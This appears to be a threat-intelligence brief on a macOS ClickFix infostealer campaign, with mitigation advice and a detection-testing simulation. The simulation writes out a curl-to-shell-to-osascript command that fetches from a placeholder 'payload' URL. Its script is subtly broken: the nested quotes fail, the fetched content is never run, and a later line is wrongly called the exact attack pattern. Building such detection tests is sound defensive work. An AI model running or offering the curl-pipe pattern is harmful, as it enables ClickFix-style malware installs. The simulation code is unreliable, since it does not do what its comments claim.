macOS ClickFix Campaign Evolves with Cloaked Infection Gates

Summary

A macOS ClickFix campaign is distributing infostealers including MacSync and Atomic Stealer (AMOS) through a sophisticated server-side fingerprinting gate. The operation uses algorithmically generated domains and browser fingerprinting to ensure malicious payloads are delivered only to genuine macOS users, helping evade automated security analysis and crawlers. This evolution marks a shift from broad social engineering toward highly targeted and cloaked delivery techniques.

Investigation

Microsoft Threat Intelligence tracked a cluster of more than 250 domains sharing a distinct naming pattern to uncover the campaign. The investigation revealed a transition from direct lure delivery to a two-stage process involving lightweight JavaScript profiling. By evaluating WebGL signals, timezone offsets, and anti-analysis checks, researchers determined how the infrastructure selectively targets macOS environments while presenting benign decoy content to non-qualifying requests.

Mitigation

Organizations should educate users that legitimate software updates do not require pasting commands into Terminal. Security teams should monitor for suspicious Terminal activity involving utilities such as curl, base64, gunzip, or osascript, particularly when triggered after web browsing. Strengthening protections around Keychain data and monitoring for unauthorized archiving of sensitive files can also reduce the impact of successful compromise.

Response

If suspicious Terminal execution or unauthorized access to credential stores is detected, responders should isolate the affected macOS endpoint immediately. Investigate outbound connections to low-reputation domains, with particular attention to /curl/ request patterns. Identified malicious staging hosts should be blocked, and recent shell history should be reviewed for encoded or obfuscated command execution.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary initiates a ClickFix campaign by presenting a fake error message in a web browser, instructing the user to “Fix the error” by pasting a specific command into the Terminal. The attacker’s goal is to establish persistence or download malware. The command uses curl to pull a malicious AppleScript payload from a remote server and pipes it into osascript -e to execute it immediately in memory, bypassing traditional file-based scanning.

• Regression Test Script:

  # Simulation of ClickFix: Fetching a payload and executing via osascript
  # Note: We use a benign echo command to simulate the remote payload to avoid actual infection.
  
  curl -s https://raw.githubusercontent.com/example/payload/main/script.sh | zsh -c 'osascript -e "display dialog "Security Alert: System Update Required""'
  
  # To ensure the detection rule triggers, we execute the exact pattern:
  osascript -e 'say "This is a simulated attack"'

• Cleanup Commands:

  # No files are written to disk in this specific command-line execution, 
  # but we ensure any background processes are killed.
  killall osascript || true